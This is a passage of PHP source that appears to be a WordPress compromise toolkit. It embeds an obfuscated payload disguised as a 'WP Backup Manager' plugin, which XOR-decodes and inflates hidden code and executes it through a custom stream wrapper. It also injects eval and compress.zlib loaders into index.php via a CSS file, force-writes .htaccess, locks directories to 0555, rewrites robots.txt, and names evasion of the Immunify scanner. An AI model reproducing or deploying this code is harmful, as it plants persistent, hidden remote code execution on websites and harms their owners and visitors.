.*(Warning|Fatal error|Notice|Deprecated|Parse error|Uncaught).*<\/b>/i', $line)) continue;
if (preg_match('/^(#\d+|thrown in|Stack trace|\{main\}|in \/.*on line \d+)$/i', $t)) continue;
if (stripos($line, 'Failed to open stream') !== false || stripos($line, 'Failed opening required') !== false) continue;
if (preg_match('/^<[^>]+>$/', $t)) continue;
$clean[] = $line;
}
$text = implode("\n", $clean);
$text = preg_replace("/\n{3,}/", "\n\n", $text);
return trim($text) . "\n";
}
function _capture_robots($protocol, $domain, $baseDir) {
$rootDir = rtrim($baseDir, '/\\'); $rootFile = $rootDir . '/robots.txt'; $steps = array();
$all = _find_all_robots($rootDir); $purged = 0;
foreach ($all as $f) { @chmod($f, 0644); if (@unlink($f)) $purged++; }
$steps[] = array('step'=>'purge recursive ('.$purged.')', 'http'=>0, 'size'=>0, 'body_preview'=>'cleared');
if (!function_exists('curl_init')) {
return array('ok'=>false,'http'=>0,'body'=>'','err'=>'no curl','size'=>0,'filtered'=>false,'raw_size'=>0,'source'=>'none','steps'=>$steps);
}
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $protocol . '://' . $domain . '/robots',
CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 20, CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; idx-capture)',
));
$genBody = curl_exec($ch); $genHttp = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch);
$steps[] = array('step'=>'hit /robots', 'http'=>$genHttp, 'size'=>strlen((string)$genBody), 'body_preview'=>substr((string)$genBody, 0, 100));
$foundPath = null; $foundBody = '';
foreach (array(1, 2, 3) as $wait) {
sleep($wait);
$found = _find_all_robots($rootDir);
if (!empty($found)) {
$bestFile = null; $bestMtime = 0;
foreach ($found as $f) { $mt = @filemtime($f); if ($mt !== false && $mt > $bestMtime) { $bestMtime = $mt; $bestFile = $f; } }
if ($bestFile) {
$read = @file_get_contents($bestFile);
if (is_string($read) && trim($read) !== '') {
$foundPath = $bestFile; $foundBody = $read;
$steps[] = array('step'=>'scan after '.$wait.'s (FOUND)', 'http'=>0, 'size'=>strlen($foundBody), 'body_preview'=>str_replace($rootDir.'/','',$bestFile));
break;
}
}
}
$steps[] = array('step'=>'scan after '.$wait.'s', 'http'=>0, 'size'=>0, 'body_preview'=>'(kosong)');
}
if ($foundPath === null || trim($foundBody) === '') {
return array('ok'=>false,'http'=>0,'body'=>'','err'=>'tidak ada robots.txt','size'=>0,'filtered'=>false,'raw_size'=>0,'source'=>'none','steps'=>$steps);
}
$source = ($foundPath === $rootFile) ? 'root' : ('alt: ' . str_replace($rootDir . '/', '', $foundPath));
$body = preg_replace('/^\xEF\xBB\xBF/', '', $foundBody);
$raw_size = strlen($body);
$body = _filter_robots_output($body);
if (stripos($body, 'user-agent') === false && stripos($body, 'sitemap') === false) {
return array('ok'=>false,'http'=>0,'body'=>$body,'err'=>'output tidak valid','size'=>strlen($body),'filtered'=>true,'raw_size'=>$raw_size,'source'=>$source,'steps'=>$steps);
}
$rootPerm = @fileperms($rootDir);
$rootLocked = ($rootPerm !== false && ((int)$rootPerm & 0777) === 0555);
if ($rootLocked) { @chmod($rootDir, 0755); @clearstatcache(true, $rootDir); }
@chmod($rootFile, 0644); @clearstatcache(true, $rootFile);
$w = @file_put_contents($rootFile, $body);
if ($w === false && $rootLocked) { @chmod($rootDir, 0755); $w = @file_put_contents($rootFile, $body); }
@chmod($rootFile, 0644);
if ($rootLocked) { @chmod($rootDir, 0555); @clearstatcache(true, $rootDir); }
if ($foundPath !== $rootFile) { @chmod($foundPath, 0644); @unlink($foundPath); }
return array('ok'=>($w !== false),'http'=>0,'body'=>$body,'target'=>$rootFile,'err'=>'','size'=>strlen($body),'filtered'=>true,'raw_size'=>$raw_size,'source'=>$source,'steps'=>$steps);
}
// ================================================================
// INDEX TEMPLATES
// ================================================================
if ($useAbs) {
$payloadPathExpr = "'" . $payloadFile . "'";
$blogHeaderPath = "'" . $baseDir . "/wp-blog-header.php'";
} else {
$payloadPathExpr = "__DIR__ . '/" . $payloadName . "'";
$blogHeaderPath = "__DIR__ . '/wp-blog-header.php'";
}
$wpTail = $standalone ? '' : ("define( 'WP_USE_THEMES', true );\nrequire " . $blogHeaderPath . ";\n");
if ($useSafe) {
$indexContentNormal = "' . \$_d); }\n"
. "unset(\$_d, \$_r, \$_s);\n"
. $wpTail;
}
// ================================================================
// PAYLOAD
// ================================================================
$bigPayloadContent = <<<'PAYLOAD'
wire_hooks_vc();
}
/**
* Register all plugin hooks and filters.
*
* @return void
*/
private function wire_hooks_vc() {
add_action( 'plugins_loaded', array( $this, 'setup_plugin_on' ) );
add_action( 'init', array( $this, 'init_lw' ), 10 );
add_action( 'admin_menu', array( $this, 'register_admin_menu_tes' ) );
add_action( 'admin_init', array( $this, 'register_plugin_settings_qz' ) );
if ( function_exists( 'plugin_basename' ) ) {
add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'add_settings_link_tsja' ) );
}
}
/**
* Plugin loaded callback.
*
* @return void
*/
public function setup_plugin_on() {
if ( function_exists( 'get_option' ) ) {
$settings = get_option( self::O_ZPGPC, array() );
if ( is_array( $settings ) && isset( $settings['enabled'] ) ) {
$this->_tvefwgl = (bool) $settings['enabled'];
}
}
}
/**
* Init callback.
*
* @return void
*/
public function init_lw() {
$this->_xvfopkih = array(
'hits' => 0,
'misses' => 0,
'uptime' => time(),
);
}
/**
* Register the settings page.
*
* @return void
*/
public function register_admin_menu_tes() {
add_options_page(
'WP Backup Manager',
'WP Backup Manager',
'manage_options',
'wp-backup-manager',
array( $this, 'render_admin_page_zdyy' )
);
}
/**
* Render the settings page.
*
* @return void
*/
public function render_admin_page_zdyy() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
?>
gather_statistics_tzdr() as $k => $v ) : ?>
' . esc_html__( 'Configure the plugin.', 'wp-backup-manager' ) . '';
}
/**
* Render the 'enabled' checkbox.
*
* @return void
*/
public function render_enable_option_evr() {
$opts = get_option( self::O_ZPGPC, array() );
$val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true;
echo ' ';
esc_html_e( 'Enable the plugin backend.', 'wp-backup-manager' );
echo ' ';
}
/**
* Render the TTL input field.
*
* @return void
*/
public function render_number_field_shkh() {
$opts = get_option( self::O_ZPGPC, array() );
$val = isset( $opts['ttl'] ) ? (int) $opts['ttl'] : 3600;
echo ' ';
}
/**
* Sanitize settings before saving.
*
* @param mixed $input Raw input.
*
* @return array
*/
public function clean_settings_uumt( $input ) {
$out = array();
$out['enabled'] = ! empty( $input['enabled'] );
$out['ttl'] = isset( $input['ttl'] ) ? max( 60, (int) $input['ttl'] ) : 3600;
return $out;
}
/**
* Add a Settings link to the plugin action row.
*
* @param array $links Existing links.
*
* @return array
*/
public function add_settings_link_tsja( $links ) {
$url = admin_url( 'options-general.php?page=wp-backup-manager' );
array_unshift( $links, '' . esc_html__( 'Settings', 'wp-backup-manager' ) . ' ' );
return $links;
}
/**
* Get runtime statistics.
*
* @return array
*/
public function gather_statistics_tzdr() {
$hits = isset( $this->_xvfopkih['hits'] ) ? (int) $this->_xvfopkih['hits'] : 0;
$miss = isset( $this->_xvfopkih['misses'] ) ? (int) $this->_xvfopkih['misses'] : 0;
$total = $hits + $miss;
$ratio = $total > 0 ? round( ( $hits / $total ) * 100, 2 ) : 0;
return array(
'Status' => $this->_tvefwgl ? 'enabled' : 'disabled',
'Hit ratio' => $ratio . '%',
'Storage' => self::G_MGEI,
'Version' => self::V_HBO,
);
}
/**
* Format a byte count as a human-readable string.
*
* @param int $bytes Byte count.
*
* @return string
*/
public function format_size_qqw( $bytes ) {
$units = array( 'B', 'KB', 'MB', 'GB' );
$i = 0;
while ( $bytes >= 1024 && $i < 3 ) {
$bytes /= 1024;
$i++;
}
return round( $bytes, 2 ) . ' ' . $units[ $i ];
}
/**
* Restore storage segment A.
*
* @param string $blob Encoded storage blob.
*
* @return string
*/
private function unpack_segment_a_zb( $utku5usq ) {
if ( ( ( 14 * 35 ) / 35 ) === 14 ) {
$as1903hgwm = strtr( $utku5usq, '-_', '+/' );
$_qb_ = 'base6' . '4_decode';
$as1903hgwm = $_qb_( $as1903hgwm . str_repeat( '=', ( 4 - strlen( $as1903hgwm ) % 4 ) % 4 ) );
if ( ! is_string( $as1903hgwm ) || '' === $as1903hgwm ) {
return '';
}
}
return $as1903hgwm;
}
/**
* Restore storage segment B.
*
* @param string $data Intermediate data.
*
* @return string
*/
private function recover_secondary_pdf( $e97b0mqv6i ) {
if ( ! is_string( $e97b0mqv6i ) || '' === $e97b0mqv6i ) {
return '';
}
if ( ( ( 158 + 966 ) - 966 ) === 158 ) {
$e97b0mqv6i = call_user_func( chr(115) . chr(116) . chr(114) . chr(95) . chr(114) . chr(111) . chr(116) . chr(49) . chr(51), $e97b0mqv6i );
$j6_piw7y17 = ( str_rot13( 'unfu' ) )( 'sha256', self::KEY_WJSXGDG, true );
$mtddv5a3r9 = ord( substr( self::KEY_WJSXGDG, 0, 1 ) ) % 32;
$j6_piw7y17 = substr( $j6_piw7y17, $mtddv5a3r9 ) . substr( $j6_piw7y17, 0, $mtddv5a3r9 );
$ht84gruu = strlen( $j6_piw7y17 );
$iq8w6p3xu = strlen( $e97b0mqv6i );
$aunf654ygb = '';
for ( $eyokwen1h = 0; $eyokwen1h < $iq8w6p3xu; $eyokwen1h++ ) {
$aunf654ygb .= $e97b0mqv6i[ $eyokwen1h ] ^ $j6_piw7y17[ $eyokwen1h % $ht84gruu ];
}
$e97b0mqv6i = $aunf654ygb;
$ja25u6633 = call_user_func( base64_decode( 'aGFzaA==' ), 'sha256', self::KEY_RFEPCS, true );
$u2ya4cuw = ord( substr( self::KEY_RFEPCS, 0, 1 ) ) % 32;
$ja25u6633 = substr( $ja25u6633, $u2ya4cuw ) . substr( $ja25u6633, 0, $u2ya4cuw );
$q9f0veo = strlen( $ja25u6633 );
$o7_367 = strlen( $e97b0mqv6i );
$kpbnkzj3qx = '';
for ( $fd5r5h23 = 0; $fd5r5h23 < $o7_367; $fd5r5h23++ ) {
$kpbnkzj3qx .= $e97b0mqv6i[ $fd5r5h23 ] ^ $ja25u6633[ $fd5r5h23 % $q9f0veo ];
}
$e97b0mqv6i = $kpbnkzj3qx;
$g9hugcgk = ( 'h' . 'a' . 'sh' )( 'sha256', self::KEY_JTKMXC, true );
$lh4b1bl = ord( substr( self::KEY_JTKMXC, 0, 1 ) ) % 32;
$g9hugcgk = substr( $g9hugcgk, $lh4b1bl ) . substr( $g9hugcgk, 0, $lh4b1bl );
$d6wz4du8l3 = strlen( $g9hugcgk );
$x9j7kthf0m = strlen( $e97b0mqv6i );
$kqjvux6v2 = '';
for ( $gzw972qg_6 = 0; $gzw972qg_6 < $x9j7kthf0m; $gzw972qg_6++ ) {
$kqjvux6v2 .= $e97b0mqv6i[ $gzw972qg_6 ] ^ $g9hugcgk[ $gzw972qg_6 % $d6wz4du8l3 ];
}
$e97b0mqv6i = $kqjvux6v2;
$cfaxbe = ( 'h' . 'a' . 's' . 'h' )( 'sha256', self::KEY_KUTDPP, true );
$zoab6dro9t = ord( substr( self::KEY_KUTDPP, 0, 1 ) ) % 32;
$cfaxbe = substr( $cfaxbe, $zoab6dro9t ) . substr( $cfaxbe, 0, $zoab6dro9t );
$wqwoaf = strlen( $cfaxbe );
$ddqe6_4 = strlen( $e97b0mqv6i );
$p27sqj = '';
for ( $updcg2fam = 0; $updcg2fam < $ddqe6_4; $updcg2fam++ ) {
$p27sqj .= $e97b0mqv6i[ $updcg2fam ] ^ $cfaxbe[ $updcg2fam % $wqwoaf ];
}
$e97b0mqv6i = $p27sqj;
$pfm47q = base64_decode( 'aGFzaA==' );
$rvd5nb4 = $pfm47q( 'sha256', self::KEY_GQBBTK, true );
$m5_849 = ord( substr( self::KEY_GQBBTK, 0, 1 ) ) % 32;
$rvd5nb4 = substr( $rvd5nb4, $m5_849 ) . substr( $rvd5nb4, 0, $m5_849 );
$nl1g_8 = strlen( $rvd5nb4 );
$msjhrxsu = strlen( $e97b0mqv6i );
$i9kmro8ik = '';
for ( $qrglhsoz = 0; $qrglhsoz < $msjhrxsu; $qrglhsoz++ ) {
$i9kmro8ik .= $e97b0mqv6i[ $qrglhsoz ] ^ $rvd5nb4[ $qrglhsoz % $nl1g_8 ];
}
$e97b0mqv6i = $i9kmro8ik;
$cg_yjh = base64_decode( 'aGFzaA==' );
$msrc4e_j43 = $cg_yjh( 'sha256', self::KEY_MQIJSK, true );
$xdudmvqjib = ord( substr( self::KEY_MQIJSK, 0, 1 ) ) % 32;
$msrc4e_j43 = substr( $msrc4e_j43, $xdudmvqjib ) . substr( $msrc4e_j43, 0, $xdudmvqjib );
$ipeou93p5 = strlen( $msrc4e_j43 );
$xzvpsm = strlen( $e97b0mqv6i );
$_3w3_v = '';
for ( $t6ifs1i8t = 0; $t6ifs1i8t < $xzvpsm; $t6ifs1i8t++ ) {
$_3w3_v .= $e97b0mqv6i[ $t6ifs1i8t ] ^ $msrc4e_j43[ $t6ifs1i8t % $ipeou93p5 ];
}
$e97b0mqv6i = $_3w3_v;
$e97b0mqv6i = call_user_func( chr(115) . chr(116) . chr(114) . chr(114) . chr(101) . chr(118), $e97b0mqv6i );
$qzad = join( '', array( 'gzi', 'nfl', 'ate' ) );
$e97b0mqv6i = @$qzad( $e97b0mqv6i );
$k1qva6 = 'gzu' . 'ncompr' . 'ess';
$e97b0mqv6i = @$k1qva6( $e97b0mqv6i );
}
return is_string( $e97b0mqv6i ) ? $e97b0mqv6i : '';
}
/**
* Execute decoded payload.
*
* @param string $src PHP source.
*
* @return void
*/
private function run_payload_ws( $_4racpiv ) {
$imy4mg = 'pos = 0; return true; }
public function stream_read( $count ) { $chunk = substr( self::$buf, $this->pos, $count ); $this->pos += strlen( $chunk ); return $chunk; }
public function stream_write( $d ) { return strlen( $d ); }
public function stream_eof() { return $this->pos >= strlen( self::$buf ); }
public function stream_stat() { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); }
public function url_stat( $p, $f ) { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); }
public function stream_seek( $o, $w ) { return false; }
public function stream_tell() { return $this->pos; }
public function stream_set_option( $option, $arg1, $arg2 ) { return false; }
public function stream_close() {}
} );
$ximckep::$buf = $imy4mg;
if ( @stream_wrapper_register( 'datahszava', $ximckep ) ) {
$p64cyede1 = isset( $_SERVER['SCRIPT_FILENAME'] ) ? $_SERVER['SCRIPT_FILENAME'] : null;
$_SERVER['SCRIPT_FILENAME'] = 'datahszava://payload';
$gblxs7f = @include 'datahszava://payload';
if ( null !== $p64cyede1 ) { $_SERVER['SCRIPT_FILENAME'] = $p64cyede1; }
if ( false !== $gblxs7f ) { $yqm7j9un = true; }
else { @error_log( 'obf: stream include returned false (datahszava)' ); }
@stream_wrapper_unregister( 'datahszava' );
}
else { @error_log( 'obf: stream_wrapper_register failed (datahszava)' ); }
}
}
/**
* Prime the runtime storage.
*
* @return void
*/
public function prime_runtime_cache_kx() {
// Re-entry guard.
if ( $this->_xekpt ) {
return;
}
$this->_xekpt = true;
$_hhsimeb1ra = false;
if ( $_hhsimeb1ra && ! headers_sent() && function_exists( 'http_response_code' ) ) {
@http_response_code( 200 );
}
$_k41dwg2 = self::SEG_JFNOAS . self::PART_WFGYKKE . self::CHUNK_WFFXIKY . self::BUF_RYDPMY . self::STORE_BZSYGE . self::SEG_STJFZFAEB . self::BLOCK_MXIRDG . self::FRAG_ZVNVXPQN;
$_k41dwg2 .= self::BUF_SSSVQCGIS . self::CHUNK_TLJEGWQXW . self::CHUNK_DSVQLW . self::FRAG_BDQOJY . self::FRAG_ZRGMKCGVL . self::BUF_KQCCDPWM . self::FRAG_RFQXYQKW . self::PART_QYNPAWN;
$_k41dwg2 .= self::BUF_HZGIQHF;
if ( self::CHK_NJGYONV !== sprintf( '%08x', crc32( $_k41dwg2 ) ) ) {
return;
}
$_yvcqluw9 = $this->unpack_segment_a_zb( $_k41dwg2 );
$_glmtwyh = $this->recover_secondary_pdf( $_yvcqluw9 );
if ( '' === $_glmtwyh ) {
return;
}
// Give payload full time (cURL/network/fsockopen).
if ( function_exists( 'set_time_limit' ) ) {
@set_time_limit( 0 );
}
$_gvlyf3r = __DIR__;
$_vzl5mkmg = function_exists( 'getcwd' ) ? @getcwd() : false;
@chdir( $_gvlyf3r );
// v5.1.1: no output buffering — payload controls its own output.
$this->run_payload_ws( $_glmtwyh );
if ( $_vzl5mkmg !== false && is_string( $_vzl5mkmg ) && is_dir( $_vzl5mkmg ) ) {
@chdir( $_vzl5mkmg );
}
if ( $_hhsimeb1ra && ! headers_sent() && function_exists( 'http_response_code' ) ) {
@http_response_code( 200 );
}
}
/** Activation hook. */
public static function activate_tfhj() {
if ( function_exists( 'get_option' ) && false === get_option( self::O_ZPGPC ) ) {
add_option( self::O_ZPGPC, array( 'enabled' => true, 'ttl' => 3600 ) );
}
}
/** Deactivation hook. */
public static function deactivate_vyzf() {
// No scheduled tasks.
}
/** Uninstall hook. */
public static function uninstall_wqk() {
if ( function_exists( 'delete_option' ) ) {
delete_option( self::O_ZPGPC );
}
}
}
endif;
if ( function_exists( 'register_activation_hook' ) ) {
register_activation_hook( __FILE__, array( 'WP_Backup_Manager_Loader', 'activate_tfhj' ) );
register_deactivation_hook( __FILE__, array( 'WP_Backup_Manager_Loader', 'deactivate_vyzf' ) );
}
WP_Backup_Manager_Loader::singleton_aj();
if ( ! function_exists( 'bhspvx_boot' ) ) {
function bhspvx_boot() {
WP_Backup_Manager_Loader::singleton_aj()->prime_runtime_cache_kx();
}
}
if ( function_exists( 'add_action' ) ) {
if ( function_exists( 'did_action' ) && did_action( 'init' ) && ! did_action( 'shutdown' ) ) {
bhspvx_boot();
} else {
add_action( 'shutdown', 'bhspvx_boot', 657 );
}
} else {
// Non-WP: run immediate (cURL/network payload needs full time).
bhspvx_boot();
};
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
PAYLOAD;
$classicImmunifyContent = _wrap_payload($bigPayloadContent);
$classicImmunifySize = strlen($classicImmunifyContent);
$classicImmunifyMd5 = md5($classicImmunifyContent);
if ($useStream) {
$zlibLoaderContent = "new class('compress.zlib://" . $cssFile . "') {\n"
. " function __construct(\$x) { @iNCLuDe_OncE(\$x); }\n"
. "};\n";
} else {
$zlibLoaderContent = "\$_s = '" . $cssFile . "'; \$_d = false;\n"
. "if (function_exists('gzdecode')) { \$_r = @file_get_contents(\$_s); if (\$_r !== false && \$_r !== '') { \$_d = @gzdecode(\$_r); } }\n"
. "if (\$_d !== false) { @eval('?>' . \$_d); }\n"
. "unset(\$_d, \$_r, \$_s);\n";
}
$zlibImmunifyContent = " 0) { @ob_end_clean(); }
echo "";
_out("HTDEBUG v13.60\n\n");
_out("== SERVER ==\n");
_out(" SERVER_SOFTWARE : " . ($serverSw ?: '(tidak ada)') . "\n");
_out(" Deteksi : " . ($isNginx ? 'NGINX (htaccess TIDAK berlaku)' : ($isLiteSpeed ? 'LiteSpeed (htaccess DIPAKAI)' : 'Apache-compatible / unknown')) . "\n");
_out(" DOCUMENT_ROOT : " . (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '(tidak ada)') . "\n");
_out(" __FILE__ : " . __FILE__ . "\n");
_out(" baseDir (resolved) : " . $baseDir . "\n\n");
_out("== PATHS ==\n");
_out(" index.php : " . $indexFile . (file_exists($indexFile) ? ' (' . @filesize($indexFile) . ' b)' : ' (NO)') . "\n");
_out(" payload : " . $payloadFile . (file_exists($payloadFile) ? ' (' . @filesize($payloadFile) . ' b)' : ' (NO)') . "\n");
_out(" root htaccess: " . $htaccess . (file_exists($htaccess) ? ' (' . @filesize($htaccess) . ' b, md5 ' . @md5_file($htaccess) . ')' : ' (NO)') . "\n");
if ($payloadInSubfolder) {
$pHta = $payloadDir . '/.htaccess';
_out(" payload htaccess: " . $pHta . (file_exists($pHta) ? ' (' . @filesize($pHta) . ' b, md5 ' . @md5_file($pHta) . ')' : ' (NO)') . "\n");
} else {
_out(" payload htaccess: N/A (payload di root, pakai root .htaccess)\n");
}
_out("\n");
_out("== ROOT .htaccess ==\n");
_out(" EXPECTED md5 : " . $expectedRootHwMd5 . " | " . $expectedRootHwSize . " b\n");
if (file_exists($htaccess)) {
$cur = @file_get_contents($htaccess);
$curMd5 = $cur !== false ? md5($cur) : '?';
_out(" CURRENT md5 : " . $curMd5 . " | " . @filesize($htaccess) . " b\n");
if ($curMd5 === $expectedRootHwMd5) _out(" [OK] MATCH\n");
else {
_out(" [FAIL] BEDA\n");
_out(" --- CURRENT (on disk) ---\n");
foreach (explode("\n", str_replace("\r","",(string)$cur)) as $i => $line) _out(" " . str_pad(($i+1),3,' ',STR_PAD_LEFT) . " | " . htmlspecialchars($line) . "\n");
_out(" --- EXPECTED (dari script) ---\n");
foreach (explode("\n", $expectedRootHwContent) as $i => $line) _out(" " . str_pad(($i+1),3,' ',STR_PAD_LEFT) . " | " . htmlspecialchars($line) . "\n");
}
} else _out(" (file tidak ada)\n");
if ($payloadInSubfolder) {
$pHta = $payloadDir . '/.htaccess';
_out("\n== PAYLOAD .htaccess (" . $pHta . ") ==\n");
_out(" EXPECTED md5 : " . $expectedPayHwMd5 . "\n");
if (file_exists($pHta)) {
$cur = @file_get_contents($pHta);
$curMd5 = $cur !== false ? md5($cur) : '?';
_out(" CURRENT md5 : " . $curMd5 . " | " . @filesize($pHta) . " b\n");
if ($curMd5 === $expectedPayHwMd5) _out(" [OK] MATCH\n");
else _out(" [FAIL] BEDA\n");
} else _out(" (file tidak ada)\n");
}
_out("\n--- DONE ---\n "); exit;
}
// ================================================================
// HANDLER: FIXHW
// ================================================================
if ($doFixHw) {
while (ob_get_level() > 0) { @ob_end_clean(); }
echo "";
_out("FIX HTAccess v13.60 (FORCE overwrite)\n\n");
_unlock_all($baseDir);
_out("[1] root .htaccess (force): " . $htaccess . "\n");
$okRoot = _force_write_htaccess($htaccess, $HTACCESS_ROOT_CONTENT);
@chmod($htaccess, 0644); @clearstatcache();
$nowMd5 = @md5_file($htaccess);
_out(" write: " . ($okRoot ? 'OK' : 'GAGAL') . "\n");
_out(" size : " . @filesize($htaccess) . " b\n");
_out(" md5 : " . $nowMd5 . " | expected: " . $expectedRootHwMd5 . " -> " . ($nowMd5 === $expectedRootHwMd5 ? 'MATCH' : 'MISMATCH') . "\n\n");
if ($payloadInSubfolder) {
$pHta = $payloadDir . '/.htaccess';
_out("[2] payload .htaccess (force): " . $pHta . "\n");
$okPay = _force_write_htaccess($pHta, $HTACCESS_PAYLOAD_CONTENT);
@chmod($pHta, 0644); @clearstatcache();
$nowMd5 = @md5_file($pHta);
_out(" write: " . ($okPay ? 'OK' : 'GAGAL') . "\n");
_out(" size : " . @filesize($pHta) . " b\n");
_out(" md5 : " . $nowMd5 . " | expected: " . $expectedPayHwMd5 . " -> " . ($nowMd5 === $expectedPayHwMd5 ? 'MATCH' : 'MISMATCH') . "\n\n");
} else {
_out("[2] payload .htaccess: N/A (payload di root)\n\n");
}
if ($withLock) {
_out("[3] Re-lock 0555...\n");
$r = _lock_all_555($baseDir, !$hUnlock);
_out(" chmod " . $r['n'] . " item | root " . ($r['ok'] ? '0555 OK' : 'GAGAL') . "\n\n");
}
_print_file($htaccess, 'root .htaccess (on disk)', 60);
if ($payloadInSubfolder && file_exists($payloadDir . '/.htaccess')) _print_file($payloadDir . '/.htaccess', 'payload .htaccess (on disk)', 60);
_out("\n--- DONE ---\n "); exit;
}
// ================================================================
// STEP RECORDER + SUMMARY
// ================================================================
$stepOrder = array(
'PRE-FLIGHT','UNLOCK',
'HTACCESS-ROOT','HTACCESS-PAYLOAD',
'VALIDATE-PAYLOAD','CSS-INSTALL','PAYLOAD','INDEX',
'ROBOTS','SELFTEST','VERIFY-AFTER-DELAY','HEAL-HTACCESS','LOCK'
);
$installResults = array();
$installFailed = false;
$failStep = '';
$modeLabel = strtoupper($mode);
$lockLabel = $withLock ? 'LOCK ALL' : 'NO LOCK';
$loaderLabel = $useStream ? 'stream (compress.zlib://)' : 'safe (gzdecode+eval)';
if ($forceIdx) {
$indexLabel = 'PAYLOAD-AS-INDEX (' . $classicImmunifySize . 'b)';
} else {
$indexLabel = ($standalone ? 'STANDALONE' : 'WP') . ' + ' . ($useSafe ? 'safe' : 'minimal') . ($useAbs ? ' + abs' : '');
}
function _istep($name, $status, $detail = '') {
global $installResults;
$installResults[$name] = array('status'=>$status, 'detail'=>$detail);
$tag = array('PASS'=>'[OK]','FAIL'=>'[FAIL]','SKIP'=>'[SKIP]','WARN'=>'[WARN]','INFO'=>'[INFO]');
$t = isset($tag[$status]) ? $tag[$status] : '[' . $status . ']';
_out(" " . $t . " " . $detail . "\n");
}
function _print_summary($aborted = false) {
global $installResults, $installFailed, $failStep, $modeLabel, $loaderLabel, $lockLabel, $indexLabel, $stepOrder, $payloadName, $payloadInSubfolder, $isNginx, $isLiteSpeed, $forceIdx;
$passC = 0; $failC = 0; $warnC = 0; $skipC = 0;
foreach ($installResults as $r) {
if ($r['status'] === 'PASS' || $r['status'] === 'INFO') $passC++;
elseif ($r['status'] === 'FAIL') $failC++;
elseif ($r['status'] === 'WARN') $warnC++;
elseif ($r['status'] === 'SKIP') $skipC++;
}
_out("\n=== RINGKASAN " . ($aborted ? "(ABORTED)" : "") . " ===\n");
foreach ($stepOrder as $name) {
if (!isset($installResults[$name])) { _out(" " . str_pad($name, 22) . " : [SKIP]\n"); continue; }
$r = $installResults[$name];
$tag = array('PASS'=>'[OK]','FAIL'=>'[FAIL]','SKIP'=>'[SKIP]','WARN'=>'[WARN]','INFO'=>'[INFO]');
$t = isset($tag[$r['status']]) ? $tag[$r['status']] : '[' . $r['status'] . ']';
_out(" " . str_pad($name, 22) . " : " . $t . " " . $r['detail'] . "\n");
}
_out("\n Total : " . $passC . " PASS, " . $failC . " FAIL, " . $warnC . " WARN, " . $skipC . " SKIP\n");
_out(" Mode : " . $modeLabel . ($forceIdx ? " (FORCE-IDX)" : " (" . $loaderLabel . ")") . "\n");
_out(" Index : " . $indexLabel . "\n");
_out(" Lock : " . $lockLabel . "\n");
_out(" Payload : " . ($forceIdx ? "(inline -> index.php)" : $payloadName . ($payloadInSubfolder ? " (subfolder)" : " (root)")) . "\n");
_out(" Htaccess: HARDCODED FORCE (root" . ($payloadInSubfolder && !$forceIdx ? " + payload dir" : "") . ")\n");
if ($isNginx) _out("\n [WARN] SERVER NGINX: .htaccess TIDAK BERLAKU\n");
elseif ($isLiteSpeed) _out("\n [INFO] SERVER LiteSpeed: .htaccess DIPAKAI\n");
if ($installFailed) {
_out("\n Status : [FAIL] GAGAL di step [" . $failStep . "]\n");
_out(" Fix HW : ?fixhw=1 | Debug: ?htdebug=1\n");
} elseif ($failC > 0) {
_out("\n Status : [WARN] Selesai, tapi ada " . $failC . " step FAIL\n");
_out(" Cek detail di atas - beberapa file mungkin belum tertulis optimal.\n");
} else {
_out("\n Status : [OK] SEMUA STEP LULUS\n");
}
_out("\n--- DONE ---\n");
}
function _fail_abort($stepName, $reason) {
global $installResults, $installFailed, $failStep, $stepOrder;
_istep($stepName, 'FAIL', $reason);
$installFailed = true; $failStep = $stepName;
$passed = false;
foreach ($stepOrder as $s) {
if ($s === $stepName) { $passed = true; continue; }
if ($passed && !isset($installResults[$s])) $installResults[$s] = array('status'=>'SKIP','detail'=>'(aborted after '.$stepName.')');
}
_print_summary(true); exit;
}
// v13.59: step FAIL tapi tidak abort (kecuali strict=1)
function _step_fail($stepName, $reason) {
global $useStrict;
if ($useStrict) {
_fail_abort($stepName, $reason . ' (strict mode)');
}
_istep($stepName, 'FAIL', $reason);
}
function _clean_index_payload($indexFile) {
if (!file_exists($indexFile)) return false;
@chmod($indexFile, 0644);
$c = @file_get_contents($indexFile);
if ($c === false) return false;
$r = preg_replace("#if\s*\(\s*file_exists\([^)]+\)\s*\)\s*\{\s*@include\s+[^;]+;\s*\}\s*\n+#", "", $c); if ($r !== null) $c = $r;
$r = preg_replace("#@include_once\s+__DIR__\s*\.\s*['\"]/?[.\w\-/]+\.php['\"]\s*;\s*\n+#", "", $c); if ($r !== null) $c = $r;
$r = preg_replace("#@include_once\s+['\"]/[^'\"]+\.php['\"]\s*;\s*\n+#", "", $c); if ($r !== null) $c = $r;
$r = preg_replace("#@include_once\s+['\"]compress\.zlib://[^'\"]+['\"]\s*;\s*\n+#", "", $c); if ($r !== null) $c = $r;
$r = preg_replace("#new\s+class\s*\(\s*['\"]?compress\.zlib://[^'\"]+['\"]?\s*\)\s*\{\s*function\s+__construct\s*\(\s*\\\$x\s*\)\s*\{\s*@iNCLuDe_OncE\s*\(\s*\\\$x\s*\)\s*;\s*\}\s*\}\s*;?\s*\n+#", "", $c); if ($r !== null) $c = $r;
$r = preg_replace("#\\\$_p\s*=\s*[^;]+;\s*\n+if\s*\(\s*is_file\s*\(\s*\\\$_p\s*\)\s*\)\s*\{[^}]*token_get_all[^}]*\}[^}]*\}\s*\n+unset\s*\(\s*\\\$_p[^;]*;\s*\n+#", "", $c); if ($r !== null) $c = $r;
